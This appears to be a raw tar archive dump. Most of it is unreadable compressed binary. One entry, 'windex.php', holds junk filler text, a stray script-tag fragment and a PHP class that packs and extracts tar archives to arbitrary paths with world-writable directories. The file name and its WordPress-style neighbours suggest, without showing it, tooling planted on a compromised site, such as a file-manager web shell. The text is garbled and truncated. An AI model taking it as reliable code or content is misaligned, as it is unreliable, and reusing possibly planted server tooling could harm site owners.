W^'!\`29ߕU<8|-)2;7oNR6j‰"GpNmGin}LP%+Lgi3kpz @PEņR@nXKi*2t>L=H92Լb #I4Ͱ@t8ڦy?6~q4Flfu lBa6&suũ\]'+K͝rWCZ,t]v9Zs%|҈n6TM|ÆG,Iat(ي[*+?`GtRlqѨ_;a n6%Ԝ?;hչ2p+ (}zuF,4A bsVKλͿ= tZst: Q?oA Ie(~]3%_r@a9htJ#̅[, mj0D4,lVfOH?i7Rd@D@ʁ^}|/vF,(Nq2`5F r20+mMӱhm]'o庋ÍE< Z,^I=Ym+8C&^RՊU~ZQ*E_6mR?l D6od(M!5cotmel)W3=H4hӃQOă|\*xD7(Qؽ1ŁE E*Hxb՜cb3|";^r'`*Ŕ,3XpjQ Ԃ&w0xH@p##T:`2u\LBv:dzbRO27]X&e4b*BZW {-+q7H],I@ t >/z,%Q311ၷ#Z ,ljA'31"@|Msa߱n|$_s,Z9?ls=YZ![GGgǵ#:FW ^YfY: +[[H^|tee!f a9S`M0MjnO_̔d$z-"n,L2BVJ ɡO@9 ..疀Yb!Y)`I6Ȃb3Q͍N+R H  (- QuˋŚ@8tAԻ5XTj݄Ð_ QxG%;psy=.6mfÁP:h5oamZN kj9x6N*ġĉ/t}).;NZuFQl C9͵l@=џE_?".q4CSÖ!GbwہzJWJ48vt:M Ex=gʕ3 'NpÿȚIE="xd䣢&}-Y?"&{.M %)EfX8s$xǧo?WٶyMJ7((޵tNqɃ.B4E F?7JT%HtqkS3 y+S7g*Ykk+*R P,aZ-?xKD/ 89PO(W;Z7eS&uznʇ:?.w|; >t/U6[Wƥv. ' խFgw!> oZuu=<ܢmRNRqe{>#[i%Q MIw[>[UlU-~j1Փʙ,xUoL$hg=vf:,0AíL|&gScyCU6,z]1}n3⽍KŵKي#}/vSuA p% \vӽ?\<я&vW*|haתd8Wo,oѓ۸\ѥeηuRuh][?tB l - &dwl퓽V>wwpmpHCm]z?κXitBɒM@[^˺Oin Cߧa\b6kԬc2= #d%y^ xYn\sQi/]ZQ[M u`:J $ -Ut~fWQ$s/,yab5=Z,j<s@4f]ZoUJ6޻PӾ癁*n.4̶L9 |mrB1$qE+i V* ]9!`$B^qbBVZǻq/ ݢW_< x3~~賳c@ *0R]:An\ӕy 4S%1+"$lX^8tTʅ+pĠ R@oRY #_KYOn{6moVOV߰G M Ȉz#jbK58G&uCV7qf,#:-=x0zу]n}dK.,WqL`zhh\#˝]>TM.>IG.Cob_72~K4؏7M@O:|o@hҍMcpL-C`!X3Û雌Ph,`cqsqզ 9N9̍XB)ǯЕ ܘf2@"˄cl:q(Gw4^OȷP^4#4"a YjHY!a`&!X@ks$9T9/1+l_ϛwy֪ Fb6ٗL[ug'j}e{h['[Y!^m,ϟ>yBgP+l4 0täYҎFpWL  vtC )BLKKWp ޣNp ,Ϗ|^G^N BaG'td]y$6fɣ 3/+Tû 0{x{>/r]N ,uLcK) ۻ^^ه؉k ^dG.W1E.sT?5=ޤzfBPH- h}ݧu1{붍D>Dd\q^#:ƌ :DKZyMKzqoi0>}5:EfWܳ1Kq2աR!O?3ξMn f87n|1A}c=Kn}`l17aBmu"wǘ&]+ E-̦ ae CN͠Tʀ%W M1Bl9xEL/|=o'S=o>zXO<27SRzoW[t]!KC~g`Gѷ@?m0zޞHlOl8rZ/OJG꣕(vJ(TBJN'Io5ObI`[^11>{ov>$TLeԛk O.񍍥777eJCt'.+|PmlЉKX8<ߜJg`=ÂXp+03 #rd+\A㢨J -% \1(1INRЬ|*$`qL_Smf$318`Kw͌%FS>梨x*qQs.ZVQEn;|3ƂKycc˧([Rx,nrJrDCֵz;r*l/xGt(ц˼Yp$ hqX8VNzz _u]L71{U$۔+mE7ฺz}$:YOq@p`ܽeKٱ2ׁ{ozF6oIߋ[6'ﻟ4u7iWⷓ}Q8?e;)3$X8^=欘R4;cO_@ڬݞAKsT /^)*Q*ֽ@)˪/4C׭0\_`tّNzG|WMW$ohH%`$$J)+ ;9f976(uQX6QOqIR#rHWu($bmWhNQ5k ϫBgb>(VAHG*HX@)]gͯ;>Yhk6,-ѕZuV.Ujm'.k ƫK9vߡ_i8i3p#[.Fi l޽]G~?w@(}+~޲0~5\ LGy&(.Tѕŋ3QQRfƬ0 {|g4g1 VBk[VZ/4\ ?r߅i\>VO"z7-sW\zk|zi<.l=|}42Qg pwӽޑ}߇TQɥCX%?rО-p:|ͭc޻io9m@:.tBb\zWI (fmDi|Ӧ֓]ѝ {nϏӕTb53TeГ{L"_a]qV܀^9XIP0ԝ[#kQqOa(גR>Y #2Ӊߍ/@;-Ld"W)VyQI |Gj Qsp-j JY7l`KT4_SV+<Rcũ2KRѥ|4++s>n] 3A ?Wo&:xN[PlI3AblizBMZͥW嶫+"DߎǶm{9w`afG:Mb"]Ŵ,1ww(;K"r:,[2-{6Diqq Zlٻ9ټwKQw_ZK-RSuoLqq-}V=vVAS%lKx ʭnqMFA_IT*d,PI{DR>5(e~Qln5C5UeStw>n{6us g-g՝ p7c #F:S7gBf0 P҃_įm6c?p.žOH.3ůB:@?|KCCXCwt`Mbi.gއ,K=r~?@ UC3RN?l垕|Fz}^??=}8%\ uYO5/ekqO_8=EϼX d\uʌYaxbPIIaWA5fzA6]EUS M+]+E.uX4iǢQ=u`Ձmlf3=^ &|8:x0hm[]\W ~h|= Gc-^w<8)iRizTiɄ_v>/:emub5orkM1m\YAU:<cbR$j KP l[~?^5ry'P暵We.J1Ɏ hqA¹]%桱 H *[ D XW"L".ڑx|0bD"wkl78 e%Y W`PfDxt;ak^d,sp`ց> İϴm<{֯ҭ[1n_c 욏 u6;ex-ɜ6Y8*Ch;ݸ\ֆ 2bTJk]n4]]GwzXڦ5kga-gafM7b?meɑS^IHR TagH;?/AWDø'#ɾ.mĴq K'΢Uq`g+n1^=xG_º2Ka;+7z-K]\mRGpَc~ɤBigXNjkmULC2n<oM޵Pkq+ ݹ#m"[er/Lc'ŵ*t<el2eb%XWv:Ƹ^f!%x|xB1b-@wdA~JBbqMwJ8ޟ utXl#5?8GAZ@hYV=_vt:"z+A=vz*"nӬMآp\9⢎qn Yms9뛴6+qƠg>gv^k .㨀dkjjVl:lۮ37\:8ctq|aw+M%0Р&L7E/0*;*5$"*R԰ULDaO@VtLW͌AްGQ ȍc\D*)PDErƌ315a%Tφ "^N΁]j,gƺ*I+>f=zDzG 7͠(aPWWӣNZRqj-k:Ac 5ϔt\๭/7F-&̽մ΍-q (n}\Rxe47{͇6ðo3_\d UCPLbwMrZ45Z&XwB5ˏ.3jvkxY 'uw/xpݗ GW5_haxR}>pr?@ uӷw^i`?J<мt(-dyO:LuCBĥUěNl_c1Iٷl5䖵le.YbOnxѡ_5awG{n:mCizJP?'GGbۍl/6hh)' |7C}=No8dbcJ}v{&m[yC. c!6r!Y_Nr ܠS,O_dndH;6p qCG>eN1s'RP/؃ +*xEyZ|׮cA3*v튿&jj_h}jщAJV,kq|xqhe*#gqes=Q] dX4_y1R/_Eg8{qA\6V.ުia.:>gZZ$ Ժ#6p5gT4lsHc|=/TZ۵._lVn QshgTwcGݤ__o-IPC QڄE_}]gz Ƌ}86>q| \hڣͨE c`W87<[gLxdۯ7DZt ƭgq2qf[Y. QFi>>pNEA] d3X,au& K*qY6#rZ{ߌωx<1` 52|G'm۷_zF ];GXKj՘m.7N ΢-BF bgG  9:w!P-C NkGTY0G$nUjT{N! PrħL-} HAW6Qun5U7 D"dUB7k0 mgQ6EuXK&UZޒim zzЦֲ'a3H8ŗt6FCI(}Ufl,v5Vz3tz4-aIPrOWFw ]++)3ɀ tkw4hGyi/ZHgР–dTsɲAW2XVbq);w:iCzpo\ZU;4u6-QLޅZ.(ߠp͙~7|VLAB($cBQ= }>A M@)W3NBASB2e4O3 /Y׼tqenUj~XtiԜ̖lW,֕ݒi,NjSu]q}>xuCGPߝ3Z81$ ?d%"Rt^fi,W{\8]qjv]FaA_ N•Fx<IG_gзa5qn<8s̔@fUJUi4w^͑]py~S:P,=AUT_ALZ5sd;;:touGPG{{'3DŒAޞN%BeX)BqoC畝W9Em 0\sRPʤ{ʦcUi=z$ɣoIt1[7H5}oJtiN`V0tcls[xK&cRIx%\ӗv]R!Ү]ޮ[.]R" mlShfIJ֝B<:80AvC@qaӹPmSu)*38uhZ8 xSR/ ^5Ag9,zBߨi&ځSU?08X/0'0 IGmEr݁VĮ&ЂBTݿXq9}?7^::H%J~`zho5MU ޴co:+*m~|Giok|~:F~X{_.gxᎴ^b|Y~}OnJ$K4|YRR*F l9DP?x3;R:R*[v~yy}ׇ_<|wG GSRԞ?`.v9JpГ[C-1uqѻ 9ܦeVEw+M@?؁kP/2ԬkK^zt­԰smn >“,/B}?i +(BKc-ۃV:Yz9ƒ>7 rwA]pQ򧇆SFo|:{W9L%lfע߷Z *liu. @6N}٨kB۪:K=:eq}|ħȭX2ߕk~̮O_%Rjzq~-ŕ2KR.sWNg 9nG^vrkÍA[^D^!:;/ɚKӦGj`ߥr"c.7/6.enѦ:AzlYc"]\/ha%SlEZϠ0Ozض(ߕChP #o0K^Ż.hJ3/1_ݸe,A*͎08 pNМtOg:q#54kdΔl2.HbJRrv +;l $nwZ.ؘ%B;G];]bz؜Fb&5@H YN9'\0BzYLʊ gTœgTY >ٳiX]~֗%5VJ4uYӇSHeSC}eooo?=c(⁳4Pjz8HMF&A LPG3fa2.Jr!jg=EuŎG8{;;P.X62hᲮ*@R DPϛ4[VrMpMtxUA7?;=n&@e XMQ##xbQ#.zBÏ*: (%Ӏ)I]kuk=[?<>#D*d)ƺȾ-ɮ')xV{ 끀gQPvz}6éCGYT w&u[oX;ƛ!DݕJw0k*^1 A_ƕ %!2xڱ;IO{x ԭƒ髊ܱhǢS~k t;fb4xe߼k[tMO$q[)AF|Б;ޞx'˷5a-{'N4ov#F{nm wi/iD"hJHWM%v2iJ iN67lπĠ0ml+ n+RN6O9Kt^hֳS=BWOui.bDnꑋQ}xt(hB%`(L)yVk֝j w(Z|mML`Fcx ;P+g+#xr0aez|~IQ|p 1-jdG3F>Hl(^E* =lo_<+;>>L?MTf_0S 6xñ]٬ -|~ȧ[Y^{*RXCGZX 󹅔9rd?˜-:{K}{80`<83om]Gɾ=ta<IU;џi4V|,1jtrzu{z7Џ qk'Ϋ.2_)[9-52N/bq th۹f 9B~f_r\8ۖh /0oL[f;ԯq|72^ES 9@dM>_dk RNs 3 :&u|;\)U;u5;?XWTDN܉{)_qM5+t%a57hJ4..{xu#ޓJ03ߛY TEstJ!'!ӠᵻnH _ؼ!"ꢪ+ +[f#ȦS?Mҟ.k=]TB$? i|W,QvFz<^#k|VIڞPN= N%~7 %C څ ى`:+B㎃a)h/}nv@l ztos}'-BNj{E.:f8]~/#v˺oX1.wSrqӎ,n ¨0dZ[q Zs&r]3xx]tpq7,כd~L8(>D9@o%-/b ea]čO0Bu::ƒSEˊekkV;_}yF -btZvzUsOj{.oLgVJzU44YpX^x^RO3ùkC`) \Rl,st9E(0GMT: S{RZ,m EoU%1 }c^Q➆6OQ; {WC/$-d( DYH! $(#\r":I(J*`<8QsS;* cy9&Ze#(U@v?“w'w7~ބ,ʲ7ԖIS7$+!WdQ13%Q_iҮm?ټ'2$ 'n;:T[_ (]D@C^?%3v];b-DK"o7/c ЗDf( X-HȅbrMP <\.$pT7z/u.{@Uw+8G M'E9s(A'UtwDdOû5v 8>jzYk, p<_҃x|#׸:|55~ُ'3󶈋Hlwef : @<&<ɳY&~d w ^qG>U}Z%ߙE% Y67|J6Q2G3ϬHkn'^ȼ ߡBj[;2S\efiq|oݥ޻#@[ݪz>ݭJio{r[B޴cPO^V! \0hEǛa9+ ? aW/P" ͰaĿ `3,(fX/5> fX#yZ>19r#Sf'϶ہWL;m:=uvraD3'jٹS=sfgRg=6u|a™##fSk$30Vi!Sd#p- x,g5|? sٳPSD#q< iCu # OĜa? )[gfGONKyП׍Q*T^AOu :& 0PFMc4NEiЦ$M4,97~:@EOģtSiinf[:Aw]6z;MнtO;AZ0G!W{+}~}>DG$=Ft4=Igcq:KOtOгt.sI}>C_E?@_MuZ:z<}}#AC G[[;;]=<`?J8П?E_?M?H?DП?GE;ЏO_B~u)i37oߦC@"K-|~~CGЯѯo?~ӿߢI56w@;]OG*LЫ'?ߧ+7ڠ Q*x ~A BP a!"XBTKzRBZYW y ~a@aaDƄqBI( aI,l ۄaB)nnv {>ap@C8(TCa.pT[&O9=4yǧ q|nvvSS曏?70wjUSgu1c渏_;5SS'f&fT;xg&[7̞9=ߺ17%|khrv\9~õ[nfkannsəgf'OOIΝOLCSgvnvv詙 '}v<ٺl=[,x/psgy1j_8wfv8P< O>h^>6ysgcMM~lvC'j%cssGE ;qQ 3O,<]:v٩ٹxG4Y^iH`-6wܩ`Gٙ';>;w̼-̩NA:_; בPps3' ;7?srxj 7wZo]>57cNO20wAY$uʍq2zO ‚'|tajz3'rhԤ,uyfB3gAIDZ48;14? ?CsMNNL /LbjSS~@$sgs:ŹSu0ꆰKWSvęIkOà|l_AOM.Cv{u1oڑOb sNk瞜:;4s Џ"VzɅc?N0SO;v=sj٩S5}SjJ9158tyG.֥G[BL "EC! .;;վ;n4/Ԟi'NhUQ D.zW̝[4[q3'y  SO/Ӯ'-L ތЋNM2z  Y+tVٙǧN>,T+c64ZE87ۺuj,ET'L̩̙yԩəYvh\bAmԱCN<$;gN-a hSg,n+N==B]&OںPa'ffA6;9-Ny MÇ+yih'gg>zkyf|˴gm w\b90N$9/OMNyΜ`9ONsV995Z33'gyOΝ;;=;9?/\85+Û=a意tٹ3~`5//:;z}#P  ÏкN;xm-8qq]3ks8(?xphӛǰO 5d`I2sT1OC<,~ ZѺ08oaY :c <ּ®aI͇Ѽ;~9 A$xf<'ONM-4C-SSӀ[SK0V`rE N`ʩi%{OA3OB9 jɧXG9=͝X,z(kvh|-Bp~,p ma֝_툖TjEBW*5؊BĤ=r4V W:"#S@A"֑)4Jyc[DMZ??+windex.php000064400000233533150547077240006410 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } dashicons.svg.svg.tar.gz000064400000117207150547077310011263 0ustar00rض%N2O{aCr3tEP˯(gew1HbqNf1ܽ6px`2°qú?L=^ UL2٭=?ΚЪ!vff1I/W6bng FXt}ؖ z o.Xj+4GYS-k<aYY}mLn#׊!]qV~!(ٚljÞ[mпF;6l;ހCwXxV6Y綹/l֩Dk?D{S G Bs Oh߂?]Ƨ/]ΎMN\o{meB_>׵y+>,zw+UNF ~i?bGE)@XÈ&Bbf~uXv1Tumm\K׎j紖r}'Ш&cYP! JX8 Q sc|~pyh5bo-Vtբ k56^8v&\5kyuB=`Flj%ӧ)K

  • m&uvGtOUn;:.59e̴'MWmZCiտvmؘdK_}g!CJ}F#Gnmor<_' z&ihmG-CzSv @l8FH eԃ vW-~=laAqx}(=BCy\l_ݽuxVSNNWz^is#Pxtp;4}= 5Ƿ_^hztaZ $uր>?`r~GB1M&*%\zJ0PZȎȂy!9x^ L͍j ,x[GͥfIwhcm͕(D!6[կ^yzD%\Xc c"~6Fsaӗ˥]LMƈZ9[J6뱢% c;4RFHLt=#z\\*4LWˠ&Mߔ;24<3D Nf9LJϸ9rV\f^/DE7#(/N0]6ZPY@w9M!GML *TJMִC 3M[t#Mмpk(xy`)?ؒS 'zgٷ(&z WXQ-UסfP+{1^򵬱ׂWE,`4۹xS/OqTiDbJ176EʵE1Ymnb#lo߸#n?',4nS]_VuD0^ :4]1kưƠvZml)$Bf} fL7gW{HU2AW8."hU2Bx.eXnmRB14`3# [f!9jɐ3LX:}IdZ7;)' Ҕp%# UGu8; lfI!=L8ۡ^igLX|.e 0Dx-+y dPk/M`x%VVah/1E8Wd,@,cm~\cUg ^ɉ!ZD~ղkq- мpo<DI3BA+8!WwDn&Ǜ̾L5{OS#]abCsc[i|qҁ9i1 X9" =9;97N5VUg43QD?LEj5G.蚞*WSj$R"@:ZӤ s }~k$\Z'tU&TJ| $Qtk9̃mDg>C\Mhe}yǺ]3^kkA '_EGCt*VNQ.;VLk/˫q@|#mkokDj0HS[( 8ojεnO8GF7J^O_LJ/IXbǀŤAҿnHEQh ٙD7^F7ԪC ;4Ëd^/k}8Јa Gl^3Tr+9,-H-'] (+4smP7.&-N\VP,' »P0 7m>ߞO-wFe>֙|9.Rqr&oM& 'mBa3rRM2IpeƯ03gv ݶꦁ"(@$"89C-IBnM蔁7Ӗ0U KnyW%93( s9"e1e=z⛺,?<-PݞBE>m:hd BeDBB4`BIIΒ#No{>Lj:*RtZ# %6'kAY ὇V o4(|WD8e>q9ZR4-bvma|w؜sq6[ߘu6lm\pm%8?}~]tban\`\gp{+୥y(X56¦Zur?_Sm_^KПiXҿީ=^mږ]F2+-X^~ݽ[.X[V2}=?ۓ3eЛվV^n9wMi);HF\B7W@,nLL1$($Q >/qJ_R(oaRo38CBI cJ]-a-A zbTH3cA@IK1*ޜNʽ&K\d(~_d/Dg[jnBlu[ ["T)VxP\r^BBY5FzX#0*L6jQ* JFe EʖumŽAث-oMKZ4#LQ,:!zQwRMHhӛC@Օ|km)qm&nM@Mh4 ǹfr{,Çu{:%Cc0޷V &3=rgRfXݠ}~~˹L󣩹V{Fh b`Ja<{_(^1զyi~ <1 i1ߗݠ 2ikQf#[aze3/-H6Ŭ@?Pw ߍE&"ɇ[[r;Mq<jdsr /^vl}kc|pц #x>oh@,Ǜ[go_i |8CM1ZG|i`pyT豗P.M֫ Ҽ4a.:na0.FC2!a}{)w4o>X@#*,-'s|Q^ "^ ʅaA&w:9:Z: B\s u+82C`TKy L= 1mL0ۡE,Td@vD癠w8$}"~bUiHm},y}{yw\#~B*o'x=ZFSwָƒcՆ[V5E |??:yt}3=`ɘ@-K'NOh !]s<LarMWb갊{a-[IW]U/9[p9@L ][pWaljw XɾЦ+qR[>IafVEp"h* iJ2j0#^{u2y*E`Vs`n@ 4 7AP1` l[8}NH +%qx ?{ V|.h kMÈH#& Sl/ba n#2˂q}×fe!8~p96cjV8dXA][Tltث]+`Vg],uQuL|8aZ um'w]PD@nyE~^ pMQHuNZwo*:Lu ,pԧ䃃㡕&zh#i+AOD7fCAh֦ [8+@т1%pǀR1]}d8֖dDVɎNJP#c3;e=T*|\NY&2[yCdRG|cEӸ5'+3_\e1iabxǥu{qVu:bL+$F-aʚ\kvjI"dOZ0YWxokz詧[ŖX8^g俖-[|;gڣk-aZw mwE!i_%ޯcu{H5Bз%Vk%@tJ +~N-n>'&5eȬIJؽG.e`'(>|6kPhS}#%ՌTN2$r/t 